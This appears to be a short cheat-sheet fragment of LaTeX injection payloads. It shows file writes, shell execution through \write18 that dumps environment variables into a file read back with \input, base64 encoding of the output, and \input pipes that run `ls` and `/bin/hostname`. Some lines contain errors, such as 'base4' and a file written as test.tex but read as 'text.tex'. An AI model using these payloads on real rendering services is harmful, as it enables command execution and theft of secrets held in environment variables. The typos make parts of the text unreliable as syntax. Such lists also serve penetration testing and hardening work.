\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile

The input of the command will be redirected to stdin, use a temp file to get it.

\immediate\write18{env > output}
\input{output}

If you get any LaTex error, consider using base64 to get the result without bad characters

\immediate\write18{env | base64 > test.tex}
\input{text.tex}

\input|ls|base4
\input{|"/bin/hostname"}
